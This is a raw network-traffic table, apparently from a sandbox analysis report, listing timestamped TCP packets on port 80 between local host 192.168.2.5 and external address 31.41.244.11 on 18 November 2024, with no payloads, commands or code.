Nov 18, 2024 19:04:14.544214964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544228077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544250965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544260979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.544295073 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.544464111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544476032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544488907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544501066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544513941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544514894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.544528008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544533968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.544570923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.544917107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544929028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544939041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544969082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.544986010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.545044899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.545093060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.545150995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.545176029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.545177937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.545182943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.545190096 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.545192957 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.545203924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.545216084 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.545221090 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.545228958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.545242071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.545253992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.545268059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.545280933 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.545295000 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.546073914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546076059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546081066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546087027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546099901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546111107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546123028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546124935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.546134949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546148062 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546159983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546164989 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.546173096 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546185017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546186924 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.546199083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546210051 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.546212912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.546235085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.546263933 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.547003984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547017097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547028065 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547040939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547054052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547056913 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.547066927 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547077894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.547079086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547091961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547096014 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.547105074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547116995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547130108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547138929 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.547142029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547156096 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547159910 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.547168970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547182083 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.547204018 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.547885895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547898054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547909975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547920942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547940016 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547951937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547961950 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.547962904 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547976017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547988892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.547991037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.548002958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.548012018 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.548017025 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.548032045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.548034906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.548043966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.548069954 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.548100948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.548763037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.548768997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.548774004 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.548820972 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.584024906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584063053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584074974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584142923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584225893 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584238052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584239960 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.584239960 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.584239960 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.584281921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.584341049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584355116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584366083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584429979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.584429979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.584538937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584558010 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584570885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584590912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.584614992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.584691048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584703922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.584741116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.585122108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.585170984 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.612122059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.612133026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.612143993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.612231970 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.612262011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.612274885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.612287998 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.612323046 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.612368107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.612643003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.612689018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.612700939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.612749100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.612773895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.612823963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.612874985 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.612886906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.612905025 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.612917900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.612937927 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.612977028 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.613200903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.613217115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.613254070 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.613295078 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.613399029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.613413095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.613425016 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.613435984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.613447905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.613459110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.613461971 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.613472939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.613485098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.613516092 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.613538980 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.613900900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.613996029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.614006996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.614058018 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.614073038 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.614125013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.614250898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.614303112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.614438057 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.614450932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.614504099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.617307901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.617320061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.617362976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.617523909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.617575884 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.617646933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.617744923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.617810011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.617825985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.617862940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.660202980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.660227060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.660237074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.660311937 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.660470009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.660504103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.660515070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.660531044 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.660573959 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.660593033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.660711050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.660722971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.660761118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.660768986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.660769939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.660815954 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.660819054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.660832882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.660860062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.660897017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.661151886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.661164045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.661252975 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.664180040 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.664199114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.664221048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.664233923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.664246082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.664252996 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.664258957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.664273977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.664299011 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.664324045 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.664753914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.664894104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.664906979 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.664920092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.664949894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.664967060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.664977074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.664989948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.665000916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.665014982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.665020943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.665046930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.665081024 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.665643930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.665657043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.665668011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.665679932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.665692091 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.665704012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.665704012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.665716887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.665730000 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.665744066 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.665745020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.665766954 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.665793896 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.665993929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666006088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666018009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666028976 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666040897 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666042089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.666054010 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666064978 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.666066885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666079044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666090965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666098118 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.666101933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666117907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.666138887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.666759014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666770935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666780949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666793108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666804075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666804075 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.666815996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666826963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666836977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666846991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666857004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.666858912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666870117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666882992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666886091 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.666897058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666908026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.666908979 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666923046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666934967 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666946888 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.666958094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.667012930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.667665005 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667678118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667687893 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667700052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667711020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667721987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667730093 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.667733908 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667747021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667757988 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.667759895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667773962 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667785883 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667793989 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.667798996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667809963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.667812109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667825937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667839050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.667840958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.667853117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.667910099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.668457031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.668468952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.668479919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.668500900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.668509007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.668509960 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.668515921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.668530941 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.668571949 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.702611923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.702646971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.702660084 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.702712059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.702723980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.702785969 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.702811956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.702824116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.702847004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.702871084 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.702908039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.702927113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.702939987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.702959061 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.703006029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.703366995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.703382015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.703396082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.703437090 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.703459978 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.703675032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.703731060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.703735113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.703749895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.703803062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.730704069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.730760098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.730782986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.730792999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.730814934 CET	49977	80	192.168.2.5	31.41.244.11
